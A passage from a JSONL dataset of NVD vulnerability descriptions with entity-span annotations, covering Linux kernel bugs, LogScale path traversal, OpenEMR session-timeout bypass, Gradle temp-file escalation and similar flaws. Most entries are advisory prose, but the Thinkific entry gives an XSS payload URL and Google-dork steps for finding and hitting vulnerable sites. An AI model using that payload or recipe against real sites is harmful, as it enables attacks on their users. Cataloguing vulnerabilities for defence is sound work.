ffffffff814fec10\nFS:  00007f87bc0dc780(0000) GS:ffff88803e600000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffffffa0206000 CR3: 0000000010b70000 CR4: 00000000000006e0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n<TASK>\n bpf_trampoline_update+0x25a/0x6b0\n __bpf_trampoline_link_prog+0x101/0x240\n bpf_trampoline_link_prog+0x2d/0x50\n bpf_tracing_prog_attach+0x24c/0x530\n bpf_raw_tp_link_attach+0x73/0x1d0\n __sys_bpf+0x100e/0x2570\n __x64_sys_bpf+0x1c/0x30\n do_syscall_64+0x5b/0x80\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nWith this patch, when modify_fentry or register_fentry returns -EAGAIN\nfrom bpf_tramp_ftrace_ops_func, the pageattr of im->image will be reset\nto nx+rw.", "spans": {"FILEPATH: /livepatch/livepatch-sample.c": [[654, 683]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50654"}}
{"text": "CrowdStrike has released security updates to address a critical unauthenticated path traversal vulnerability (CVE-2026-40050) in LogScale. This vulnerability only requires mitigation by customers that host specific versions of LogScale and does not affect Next-Gen SIEM customers. The vulnerability exists in a specific cluster API endpoint that, if exposed, allows a remote attacker to read arbitrary files from the server filesystem without authentication.\n\nNext-Gen SIEM customers are not affected and do not need to take any action. CrowdStrike mitigated the vulnerability for LogScale SaaS customers by deploying network-layer blocks to all clusters on April 7, 2026. We have proactively reviewed all log data and there is no evidence of exploitation.\n\nLogScale Self-hosted customers should upgrade to a patched version immediately to remediate the vulnerability.\n\nCrowdStrike identified this vulnerability during continuous and ongoing product testing.", "spans": {"CVE_ID: CVE-2026-40050": [[110, 124]], "ORGANIZATION: CrowdStrike": [[0, 11], [537, 548], [870, 881]], "VULNERABILITY: path traversal": [[80, 94]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40050"}}
{"text": "TimescaleDB, an open-source time-series SQL database, has a privilege escalation vulnerability in versions 2.8.0 through 2.9.2. During installation, TimescaleDB creates a telemetry job that is runs as the installation user. The queries run as part of the telemetry data collection were not run with a locked down `search_path`, allowing malicious users to create functions that would be executed by the telemetry job, leading to privilege escalation. In order to be able to take advantage of this vulnerability, a user would need to be able to create objects in a database and then get a superuser to install TimescaleDB into their database. When TimescaleDB is installed as trusted extension, non-superusers can install the extension without help from a superuser.\n\nVersion 2.9.3 fixes this issue. As a mitigation, the `search_path` of the user running the telemetry job can be locked down to not include schemas writable by other users. The vulnerability is not exploitable on instances in Timescale Cloud and Managed Service for TimescaleDB due to additional security provisions in place on those platforms.", "spans": {"VULNERABILITY: privilege escalation": [[60, 80], [429, 449]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-25149"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: release correct delalloc amount in direct IO write path\n\nRunning generic/406 causes the following WARNING in btrfs_destroy_inode()\nwhich tells there are outstanding extents left.\n\nIn btrfs_get_blocks_direct_write(), we reserve a temporary outstanding\nextents with btrfs_delalloc_reserve_metadata() (or indirectly from\nbtrfs_delalloc_reserve_space(()). We then release the outstanding extents\nwith btrfs_delalloc_release_extents(). However, the \"len\" can be modified\nin the COW case, which releases fewer outstanding extents than expected.\n\nFix it by calling btrfs_delalloc_release_extents() for the original length.\n\nTo reproduce the warning, the filesystem should be 1 GiB.  It's\ntriggering a short-write, due to not being able to allocate a large\nextent and instead allocating a smaller one.\n\n  WARNING: CPU: 0 PID: 757 at fs/btrfs/inode.c:8848 btrfs_destroy_inode+0x1e6/0x210 [btrfs]\n  Modules linked in: btrfs blake2b_generic xor lzo_compress\n  lzo_decompress raid6_pq zstd zstd_decompress zstd_compress xxhash zram\n  zsmalloc\n  CPU: 0 PID: 757 Comm: umount Not tainted 5.17.0-rc8+ #101\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS d55cb5a 04/01/2014\n  RIP: 0010:btrfs_destroy_inode+0x1e6/0x210 [btrfs]\n  RSP: 0018:ffffc9000327bda8 EFLAGS: 00010206\n  RAX: 0000000000000000 RBX: ffff888100548b78 RCX: 0000000000000000\n  RDX: 0000000000026900 RSI: 0000000000000000 RDI: ffff888100548b78\n  RBP: ffff888100548940 R08: 0000000000000000 R09: ffff88810b48aba8\n  R10: 0000000000000001 R11: ffff8881004eb240 R12: ffff88810b48a800\n  R13: ffff88810b48ec08 R14: ffff88810b48ed00 R15: ffff888100490c68\n  FS:  00007f8549ea0b80(0000) GS:ffff888237c00000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 00007f854a09e733 CR3: 000000010a2e9003 CR4: 0000000000370eb0\n  DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n  DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n  Call Trace:\n   <TASK>\n   destroy_inode+0x33/0x70\n   dispose_list+0x43/0x60\n   evict_inodes+0x161/0x1b0\n   generic_shutdown_super+0x2d/0x110\n   kill_anon_super+0xf/0x20\n   btrfs_kill_super+0xd/0x20 [btrfs]\n   deactivate_locked_super+0x27/0x90\n   cleanup_mnt+0x12c/0x180\n   task_work_run+0x54/0x80\n   exit_to_user_mode_prepare+0x152/0x160\n   syscall_exit_to_user_mode+0x12/0x30\n   do_syscall_64+0x42/0x80\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n   RIP: 0033:0x7f854a000fb7", "spans": {"FILEPATH: /btrfs/inode.c": [[903, 917]], "FILEPATH: /01/2014": [[1239, 1247]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1184, 1188]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49068"}}
{"text": "A vulnerability has been identified in RUGGEDCOM RM1224 LTE(4G) EU (6GK6108-4AM00-2BA2), RUGGEDCOM RM1224 LTE(4G) NAM (6GK6108-4AM00-2DA2), SCALANCE M804PB (6GK5804-0AP00-2AA2), SCALANCE M812-1 ADSL-Router (6GK5812-1AA00-2AA2), SCALANCE M812-1 ADSL-Router (6GK5812-1BA00-2AA2), SCALANCE M816-1 ADSL-Router (6GK5816-1AA00-2AA2), SCALANCE M816-1 ADSL-Router (6GK5816-1BA00-2AA2), SCALANCE M826-2 SHDSL-Router (6GK5826-2AB00-2AB2), SCALANCE M874-2 (6GK5874-2AA00-2AA2), SCALANCE M874-3 (6GK5874-3AA00-2AA2), SCALANCE M876-3 (6GK5876-3AA02-2BA2), SCALANCE M876-3 (ROK) (6GK5876-3AA02-2EA2), SCALANCE M876-4 (6GK5876-4AA10-2BA2), SCALANCE M876-4 (EU) (6GK5876-4AA00-2BA2), SCALANCE M876-4 (NAM) (6GK5876-4AA00-2DA2), SCALANCE MUM853-1 (EU) (6GK5853-2EA00-2DA1), SCALANCE MUM856-1 (EU) (6GK5856-2EA00-3DA1), SCALANCE MUM856-1 (RoW) (6GK5856-2EA00-3AA1), SCALANCE S615 EEC LAN-Router (6GK5615-0AA01-2AA2), SCALANCE S615 LAN-Router (6GK5615-0AA00-2AA2), SCALANCE SC622-2C (6GK5622-2GS00-2AC2), SCALANCE SC622-2C (6GK5622-2GS00-2AC2), SCALANCE SC626-2C (6GK5626-2GS00-2AC2), SCALANCE SC626-2C (6GK5626-2GS00-2AC2), SCALANCE SC632-2C (6GK5632-2GS00-2AC2), SCALANCE SC632-2C (6GK5632-2GS00-2AC2), SCALANCE SC636-2C (6GK5636-2GS00-2AC2), SCALANCE SC636-2C (6GK5636-2GS00-2AC2), SCALANCE SC642-2C (6GK5642-2GS00-2AC2), SCALANCE SC642-2C (6GK5642-2GS00-2AC2), SCALANCE SC646-2C (6GK5646-2GS00-2AC2), SCALANCE SC646-2C (6GK5646-2GS00-2AC2), SCALANCE WAB762-1 (6GK5762-1AJ00-6AA0), SCALANCE WAM763-1 (6GK5763-1AL00-7DA0), SCALANCE WAM763-1 (ME) (6GK5763-1AL00-7DC0), SCALANCE WAM763-1 (US) (6GK5763-1AL00-7DB0), SCALANCE WAM766-1 (6GK5766-1GE00-7DA0), SCALANCE WAM766-1 (ME) (6GK5766-1GE00-7DC0), SCALANCE WAM766-1 (US) (6GK5766-1GE00-7DB0), SCALANCE WAM766-1 EEC (6GK5766-1GE00-7TA0), SCALANCE WAM766-1 EEC (ME) (6GK5766-1GE00-7TC0), SCALANCE WAM766-1 EEC (US) (6GK5766-1GE00-7TB0), SCALANCE WUB762-1 (6GK5762-1AJ00-1AA0), SCALANCE WUB762-1 iFeatures (6GK5762-1AJ00-2AA0), SCALANCE WUM763-1 (6GK5763-1AL00-3AA0), SCALANCE WUM763-1 (6GK5763-1AL00-3DA0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3AB0), SCALANCE WUM763-1 (US) (6GK5763-1AL00-3DB0), SCALANCE WUM766-1 (6GK5766-1GE00-3DA0), SCALANCE WUM766-1 (ME) (6GK5766-1GE00-3DC0), SCALANCE WUM766-1 (USA) (6GK5766-1GE00-3DB0), SIMATIC CP 1242-7 V2 (6GK7242-7KX31-0XE0), SIMATIC CP 1243-1 (6GK7243-1BX30-0XE0), SIMATIC CP 1243-7 LTE EU (6GK7243-7KX30-0XE0), SIMATIC CP 1243-7 LTE US (6GK7243-7SX30-0XE0), SIMATIC CP 1243-8 IRC (6GK7243-8RX30-0XE0), SIMATIC CP 1542SP-1 IRC (6GK7542-6VX00-0XE0), SIMATIC CP 1543-1 (6GK7543-1AX00-0XE0), SIMATIC CP 1543SP-1 (6GK7543-6WX00-0XE0), SIPLUS ET 200SP CP 1542SP-1 IRC TX RAIL (6AG2542-6VX00-4XE0), SIPLUS ET 200SP CP 1543SP-1 ISEC (6AG1543-6WX00-7XE0), SIPLUS ET 200SP CP 1543SP-1 ISEC TX RAIL (6AG2543-6WX00-4XE0), SIPLUS NET CP 1242-7 V2 (6AG1242-7KX31-7XE0), SIPLUS NET CP 1543-1 (6AG1543-1AX00-2XE0), SIPLUS S7-1200 CP 1243-1 (6AG1243-1BX30-2AX0), SIPLUS S7-1200 CP 1243-1 RAIL (6AG2243-1BX30-1XE0). By injecting code to specific configuration options for OpenVPN, an attacker could execute arbitrary code with elevated privileges.", "spans": {"SYSTEM: OpenVPN": [[3032, 3039]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-34821"}}
{"text": "FreeSWITCH is a Software Defined Telecom Stack enabling the digital transformation from proprietary telecom switches to a software implementation that runs on any commodity hardware. Prior to version 1.10.7, FreeSWITCH does not authenticate SIP MESSAGE requests, leading to spam and message spoofing. By default, SIP requests of the type MESSAGE (RFC 3428) are not authenticated in the affected versions of FreeSWITCH. MESSAGE requests are relayed to SIP user agents registered with the FreeSWITCH server without requiring any authentication. Although this behaviour can be changed by setting the `auth-messages` parameter to `true`, it is not the default setting. Abuse of this security issue allows attackers to send SIP MESSAGE messages to any SIP user agent that is registered with the server without requiring authentication. Additionally, since no authentication is required, chat messages can be spoofed to appear to come from trusted entities. Therefore, abuse can lead to spam and enable social engineering, phishing and similar attacks. This issue is patched in version 1.10.7. Maintainers recommend that this SIP message type is authenticated by default so that FreeSWITCH administrators do not need to be explicitly set the `auth-messages` parameter. When following such a recommendation, a new parameter can be introduced to explicitly disable authentication.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37624"}}
{"text": "ViewVC, a browser interface for CVS and Subversion version control repositories, as a cross-site scripting vulnerability that affects versions prior to 1.2.2 and 1.1.29. The impact of this vulnerability is mitigated by the need for an attacker to have commit privileges to a Subversion repository exposed by an otherwise trusted ViewVC instance. The attack vector involves files with unsafe names (names that, when embedded into an HTML stream, would cause the browser to run unwanted code), which themselves can be challenging to create. Users should update to at least version 1.2.2 (if they are using a 1.2.x version of ViewVC) or 1.1.29 (if they are using a 1.1.x version).\n\nViewVC 1.0.x is no longer supported, so users of that release lineage should implement a workaround. Users can edit their ViewVC EZT view templates to manually HTML-escape changed paths during rendering. Locate in your template set's `revision.ezt` file references to those changed paths, and wrap them with `[format \"html\"]` and `[end]`. For most users, that means that references to `[changes.path]` will become `[format \"html\"][changes.path][end]`. (This workaround should be reverted after upgrading to a patched version of ViewVC, else changed path names will be doubly escaped.)", "spans": {"VULNERABILITY: cross-site scripting": [[86, 106]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22456"}}
{"text": "Tenda AC15 US_AC15V1.0BR_V15.03.05.20_multi_TDE01.bin is vulnerable to Buffer Overflow. The stack overflow vulnerability lies in the /goform/setpptpservercfg interface of the web. The sent post data startip and endip are copied to the stack using the sanf function, resulting in stack overflow. Similarly, this vulnerability can be used together with CVE-2021-44971", "spans": {"CVE_ID: CVE-2021-44971": [[351, 365]], "FILEPATH: /goform/setpptpservercfg": [[133, 157]], "ORGANIZATION: Tenda": [[0, 5]], "VULNERABILITY: Buffer Overflow": [[71, 86]], "VULNERABILITY: stack overflow": [[92, 106], [279, 293]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-28556"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: x86: Ensure liveliness of nested VM-Enter fail tracepoint message\n\nUse the __string() machinery provided by the tracing subystem to make a\ncopy of the string literals consumed by the \"nested VM-Enter failed\"\ntracepoint.  A complete copy is necessary to ensure that the tracepoint\ncan't outlive the data/memory it consumes and deference stale memory.\n\nBecause the tracepoint itself is defined by kvm, if kvm-intel and/or\nkvm-amd are built as modules, the memory holding the string literals\ndefined by the vendor modules will be freed when the module is unloaded,\nwhereas the tracepoint and its data in the ring buffer will live until\nkvm is unloaded (or \"indefinitely\" if kvm is built-in).\n\nThis bug has existed since the tracepoint was added, but was recently\nexposed by a new check in tracing to detect exactly this type of bug.\n\n  fmt: '%s%s\n  ' current_buffer: ' vmx_dirty_log_t-140127  [003] ....  kvm_nested_vmenter_failed: '\n  WARNING: CPU: 3 PID: 140134 at kernel/trace/trace.c:3759 trace_check_vprintf+0x3be/0x3e0\n  CPU: 3 PID: 140134 Comm: less Not tainted 5.13.0-rc1-ce2e73ce600a-req #184\n  Hardware name: ASUS Q87M-E/Q87M-E, BIOS 1102 03/03/2014\n  RIP: 0010:trace_check_vprintf+0x3be/0x3e0\n  Code: <0f> 0b 44 8b 4c 24 1c e9 a9 fe ff ff c6 44 02 ff 00 49 8b 97 b0 20\n  RSP: 0018:ffffa895cc37bcb0 EFLAGS: 00010282\n  RAX: 0000000000000000 RBX: ffffa895cc37bd08 RCX: 0000000000000027\n  RDX: 0000000000000027 RSI: 00000000ffffdfff RDI: ffff9766cfad74f8\n  RBP: ffffffffc0a041d4 R08: ffff9766cfad74f0 R09: ffffa895cc37bad8\n  R10: 0000000000000001 R11: 0000000000000001 R12: ffffffffc0a041d4\n  R13: ffffffffc0f4dba8 R14: 0000000000000000 R15: ffff976409f2c000\n  FS:  00007f92fa200740(0000) GS:ffff9766cfac0000(0000) knlGS:0000000000000000\n  CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n  CR2: 0000559bd11b0000 CR3: 000000019fbaa002 CR4: 00000000001726e0\n  Call Trace:\n   trace_event_printf+0x5e/0x80\n   trace_raw_output_kvm_nested_vmenter_failed+0x3a/0x60 [kvm]\n   print_trace_line+0x1dd/0x4e0\n   s_show+0x45/0x150\n   seq_read_iter+0x2d5/0x4c0\n   seq_read+0x106/0x150\n   vfs_read+0x98/0x180\n   ksys_read+0x5f/0xe0\n   do_syscall_64+0x40/0xb0\n   entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /trace/trace.c": [[1044, 1058]], "FILEPATH: /03/2014": [[1222, 1230]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: KVM": [[69, 72]], "ORGANIZATION: ASUS": [[1190, 1194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47262"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nkcm: annotate data-races around kcm->rx_psock\n\nkcm->rx_psock can be read locklessly in kcm_rfree().\nAnnotate the read and writes accordingly.\n\nWe do the same for kcm->rx_wait in the following patch.\n\nsyzbot reported:\nBUG: KCSAN: data-race in kcm_rfree / unreserve_rx_kcm\n\nwrite to 0xffff888123d827b8 of 8 bytes by task 2758 on cpu 1:\nunreserve_rx_kcm+0x72/0x1f0 net/kcm/kcmsock.c:313\nkcm_rcv_strparser+0x2b5/0x3a0 net/kcm/kcmsock.c:373\n__strp_recv+0x64c/0xd20 net/strparser/strparser.c:301\nstrp_recv+0x6d/0x80 net/strparser/strparser.c:335\ntcp_read_sock+0x13e/0x5a0 net/ipv4/tcp.c:1703\nstrp_read_sock net/strparser/strparser.c:358 [inline]\ndo_strp_work net/strparser/strparser.c:406 [inline]\nstrp_work+0xe8/0x180 net/strparser/strparser.c:415\nprocess_one_work+0x3d3/0x720 kernel/workqueue.c:2289\nworker_thread+0x618/0xa70 kernel/workqueue.c:2436\nkthread+0x1a9/0x1e0 kernel/kthread.c:376\nret_from_fork+0x1f/0x30 arch/x86/entry/entry_64.S:306\n\nread to 0xffff888123d827b8 of 8 bytes by task 5859 on cpu 0:\nkcm_rfree+0x14c/0x220 net/kcm/kcmsock.c:181\nskb_release_head_state+0x8e/0x160 net/core/skbuff.c:841\nskb_release_all net/core/skbuff.c:852 [inline]\n__kfree_skb net/core/skbuff.c:868 [inline]\nkfree_skb_reason+0x5c/0x260 net/core/skbuff.c:891\nkfree_skb include/linux/skbuff.h:1216 [inline]\nkcm_recvmsg+0x226/0x2b0 net/kcm/kcmsock.c:1161\n____sys_recvmsg+0x16c/0x2e0\n___sys_recvmsg net/socket.c:2743 [inline]\ndo_recvmmsg+0x2f1/0x710 net/socket.c:2837\n__sys_recvmmsg net/socket.c:2916 [inline]\n__do_sys_recvmmsg net/socket.c:2939 [inline]\n__se_sys_recvmmsg net/socket.c:2932 [inline]\n__x64_sys_recvmmsg+0xde/0x160 net/socket.c:2932\ndo_syscall_x64 arch/x86/entry/common.c:50 [inline]\ndo_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80\nentry_SYSCALL_64_after_hwframe+0x63/0xcd\n\nvalue changed: 0xffff88812971ce00 -> 0x0000000000000000\n\nReported by Kernel Concurrency Sanitizer on:\nCPU: 0 PID: 5859 Comm: syz-executor.3 Not tainted 6.0.0-syzkaller-12189-g19d17ab7c68b-dirty #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 09/22/2022", "spans": {"FILEPATH: /kcm/kcmsock.c": [[434, 448], [486, 500], [1097, 1111], [1386, 1400]], "FILEPATH: /strparser/strparser.c": [[532, 554], [582, 604], [673, 695], [725, 747], [785, 807]], "FILEPATH: /ipv4/tcp.c": [[638, 649]], "FILEPATH: /x86/entry/entry_64.S": [[984, 1005]], "FILEPATH: /core/skbuff.c": [[1153, 1167], [1191, 1205], [1234, 1248], [1293, 1307]], "FILEPATH: /linux/skbuff.h": [[1329, 1344]], "FILEPATH: /x86/entry/common.c": [[1717, 1736], [1777, 1796]], "FILEPATH: /22/2022": [[2120, 2128]], "FILEPATH: workqueue.c": [[848, 859], [898, 909]], "FILEPATH: kthread.c": [[942, 951]], "FILEPATH: socket.c": [[1453, 1461], [1504, 1512], [1537, 1545], [1582, 1590], [1627, 1635], [1684, 1692]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[2054, 2060], [2061, 2067], [2083, 2089], [2111, 2117]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50291"}}
{"text": "OpenEMR is a free and open source electronic health records and medical practice management application. Prior to version 8.0.0, the session expiration check in `library/auth.inc.php` runs only when `skip_timeout_reset` is not present in the request. When `skip_timeout_reset=1` is sent, the entire block that calls `SessionTracker::isSessionExpired()` and forces logout on timeout is skipped. As a result, any request that includes this parameter (e.g. from auto-refresh pages like the Patient Flow Board) never runs the expiration check: expired sessions can continue to access data indefinitely, abandoned workstations stay active, and an attacker with a stolen session cookie can keep sending `skip_timeout_reset=1` to avoid being logged out. Version 8.0.0 fixes the issue.", "spans": {"FILEPATH: inc.php": [[175, 182]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25476"}}
{"text": "Gradle is a build automation tool, and its native-platform tool provides Java bindings for native APIs. On Unix-like systems, the system temporary directory can be created with open permissions that allow multiple users to create and delete files within it. This library initialization could be vulnerable to a local privilege escalation from an attacker quickly deleting and recreating files in the system temporary directory. Gradle builds that rely on versions of net.rubygrapefruit:native-platform prior to 0.22-milestone-28 could be vulnerable to a local privilege escalation from an attacker quickly deleting and recreating files in the system temporary directory.\n\nIn net.rubygrapefruit:native-platform prior to version 0.22-milestone-28, if the `Native.get(Class<>)` method was called, without calling `Native.init(File)` first, with a non-`null` argument used as working file path, then the library would initialize itself using the system temporary directory and NativeLibraryLocator.java lines 68 through 78. Version 0.22-milestone-28 has been released with changes that fix the problem. Initialization is now mandatory and no longer uses the system temporary directory, unless such a path is passed for initialization. The only workaround for affected versions is to make sure to do a proper initialization, using a location that is safe.\n\nGradle 8.12, only that exact version, had codepaths where the initialization of the underlying native integration library took a default path, relying on copying the binaries to the system temporary directory. Any execution of Gradle exposed this exploit. Users of Windows or modern versions of macOS are not vulnerable, nor are users of a Unix-like operating system with the \"sticky\" bit set or `noexec` on their system temporary directory vulnerable. This problem was fixed in Gradle 8.12.1. Gradle 8.13 release also upgrades to a version of the native library that no longer has that bug. Some workarounds are available. On Unix-like operating systems, ensure that the \"sticky\" bit is set. This only allows the original user (or root) to delete a file. Mounting `/tmp` as `noexec` will prevent Gradle 8.12 from starting. Those who are are unable to change the permissions of the system temporary directory can move the Java temporary directory by setting the System Property java.io.tmpdir. The new path needs to limit permissions to the build user only.", "spans": {"DOMAIN: java.io": [[2330, 2337]], "FILEPATH: NativeLibraryLocator.java": [[973, 998]], "SYSTEM: Windows": [[1617, 1624]], "SYSTEM: macOS": [[1647, 1652]], "SYSTEM: Java": [[73, 77], [2274, 2278]], "VULNERABILITY: privilege escalation": [[317, 337], [560, 580]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-27148"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlz4: fix LZ4_decompress_safe_partial read out of bound\n\nWhen partialDecoding, it is EOF if we've either filled the output buffer\nor can't proceed with reading an offset for following match.\n\nIn some extreme corner cases when compressed data is suitably corrupted,\nUAF will occur.  As reported by KASAN [1], LZ4_decompress_safe_partial\nmay lead to read out of bound problem during decoding.  lz4 upstream has\nfixed it [2] and this issue has been disscussed here [3] before.\n\ncurrent decompression routine was ported from lz4 v1.8.3, bumping\nlib/lz4 to v1.9.+ is certainly a huge work to be done later, so, we'd\nbetter fix it first.\n\n[1] https://lore.kernel.org/all/000000000000830d1205cf7f0477@google.com/\n[2] https://github.com/lz4/lz4/commit/c5d6f8a8be3927c0bec91bcc58667a6cfad244ad#\n[3] https://lore.kernel.org/all/CC666AE8-4CA4-4951-B6FB-A2EFDE3AC03B@fb.com/", "spans": {"URL: https://lore.kernel.org/all/000000000000830d1205cf7f0477@google.com/": [[705, 773]], "URL: https://github.com/lz4/lz4/commit/c5d6f8a8be3927c0bec91bcc58667a6cfad244ad#": [[778, 853]], "URL: https://lore.kernel.org/all/CC666AE8-4CA4-4951-B6FB-A2EFDE3AC03B@fb.com/": [[858, 930]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49078"}}
{"text": "Statmatic is a Laravel and Git powered content management system (CMS). Prior to versions 5.73.16 and 6.7.2, an authenticated control panel user with access to Antlers-enabled inputs may be able to achieve remote code execution in the application context. That can lead to full compromise of the application, including access to sensitive configuration, modification or exfiltration of data, and potential impact on availability. Exploitation is only possible where Antlers runs on user-controlled content—for example, content fields with Antlers explicitly enabled (requiring permission to configure fields and to edit entries), built-in config that supports Antlers such as Forms email notification settings (requiring configuration permission), or third-party addons that add Antlers-enabled fields to entries (for example, the SEO Pro addon). In each case the attacker must have the relevant control panel permissions. This has been fixed in 5.73.16 and 6.7.2. Users of addons that depend on Statamic should ensure that after updating they are running a patched Statamic version.", "spans": {"VULNERABILITY: remote code execution": [[206, 227]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-28425"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. In affected versions it is possible to nest a `tf.map_fn` within another `tf.map_fn` call. However, if the input tensor is a `RaggedTensor` and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap. The `t` and `z` outputs should be identical, however this is not the case. The last row of `t` contains data from the heap which can be used to leak other memory information. The bug lies in the conversion from a `Variant` tensor to a `RaggedTensor`. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_from_variant_op.cc#L177-L190) does not check that all inner shapes match and this results in the additional dimensions. The same implementation can result in data loss, if input tensor is tweaked. We have patched the issue in GitHub commit 4e2565483d0ffcadc719bd44893fb7f609bb5f12. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/ragged_tensor_from_variant_op.cc#L177-L190": [[647, 800]], "HASH: 4e2565483d0ffcadc719bd44893fb7f609bb5f12": [[1012, 1052]], "ORGANIZATION: GitHub": [[998, 1004]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-37679"}}
{"text": "Thinkific Thinkific Online Course Creation Platform 1.0 is affected by: Cross Site Scripting (XSS). The impact is: execute arbitrary code (remote). The component is: Affected Source code of the website CMS which is been used by many to host their online courses using the Thinkific Platform. The attack vector is: To exploit the vulnerability any user has to just visit the link - https://hacktify.thinkific.com/account/billing?success=%E2%80%AA%3Cscript%3Ealert(1)%3C/script%3E. ¶¶ Thinkific is a Website based Learning Platform Product which is used by thousands of users worldwide. There is a Cross Site Scripting (XSS) based vulnerability in the code of the CMS where any attacker can execute a XSS attack. Proof of Concept & Steps to Reproduce: Step1 : Go to Google.com Step 2 : Search for this Dork site:thinkific.com -www Step 3 : You will get a list of websites which are running on the thinkific domains. Step 4 : Create account and signin in any of the website Step 5 : Add this endpoint at the end of the domain and you will see that there is a XSS Alert /account/billing?success=%E2%80%AA<script>alert(1)</script> Step 6 : Choose any domains from google for any website this exploit will work on all the websites as it is a code based flaw in the CMS Step 7 : Thousands of websites are vulnerable due to this vulnerable code in the CMS itself which is giving rise to the XSS attack.", "spans": {"URL: https://hacktify.thinkific.com/account/billing?success=%E2%80%AA%3Cscript%3Ealert(1": [[381, 464]], "DOMAIN: Google.com": [[764, 774]], "DOMAIN: thinkific.com": [[810, 823]], "FILEPATH: /account/billing": [[1066, 1082]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-35698"}}
{"text": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Starting with the introduction of attachment move support in version 14.0-rc-1 and prior to versions 14.4.8, 14.10.4, and 15.0-rc-1, an attacker with edit access on any document (can be the user profile which is editable by default) can move any attachment of any other document to this attacker-controlled document. This allows the attacker to access and possibly publish any attachment of which the name is known, regardless if the attacker has view or edit rights on the source document of this attachment. Further, the attachment is deleted from the source document. This vulnerability has been patched in XWiki 14.4.8, 14.10.4, and 15.0 RC1. There is no workaround apart from upgrading to a fixed version.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-37910"}}
{"text": "The Bare Metal Operator (BMO) implements a Kubernetes API for managing bare metal hosts in Metal3. Baremetal Operator enables users to load Secret from arbitrary namespaces upon deployment of the namespace scoped Custom Resource `BMCEventSubscription`. Prior to versions 0.8.1 and 0.9.1, an adversary Kubernetes account with only namespace level roles (e.g. a tenant controlling a namespace) may create a `BMCEventSubscription` in his authorized namespace and then load Secrets from his unauthorized namespaces to his authorized namespace via the Baremetal Operator, causing Secret Leakage. The patch makes BMO refuse to read Secrets from other namespace than where the corresponding BMH resource is. The patch does not change the `BMCEventSubscription` API in BMO, but stricter validation will fail the request at admission time. It will also prevent the controller reading such Secrets, in case the BMCES CR has already been deployed. The issue exists for all versions of BMO, and is patched in BMO releases v0.9.1 and v0.8.1. Prior upgrading to patched BMO version, duplicate any existing Secret pointed to by `BMCEventSubscription`'s `httpHeadersRef` to the same namespace where the corresponding BMH exists. After upgrade, remove the old Secrets. As a workaround, the operator can configure BMO RBAC to be namespace scoped, instead of cluster scoped, to prevent BMO from accessing Secrets from other namespaces, and/or use `WATCH_NAMESPACE` configuration option to limit BMO to single namespace.", "spans": {"SYSTEM: Kubernetes": [[43, 53], [301, 311]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-29781"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: get rid of the crit lock\n\nGet rid of the crit lock.\nThat frees us from the error prone logic of try_locks.\n\nThanks to netdev_lock() by Jakub it is now easy, and in most cases we were\nprotected by it already - replace crit lock by netdev lock when it was not\nthe case.\n\nLockdep reports that we should cancel the work under crit_lock [splat1],\nand that was the scheme we have mostly followed since [1] by Slawomir.\nBut when that is done we still got into deadlocks [splat2]. So instead\nwe should look at the bigger problem, namely \"weird locking/scheduling\"\nof the iavf. The first step to fix that is to remove the crit lock.\nI will followup with a -next series that simplifies scheduling/tasks.\n\nCancel the work without netdev lock (weird unlock+lock scheme),\nto fix the [splat2] (which would be totally ugly if we would kept\nthe crit lock).\n\nExtend protected part of iavf_watchdog_task() to include scheduling\nmore work.\n\nNote 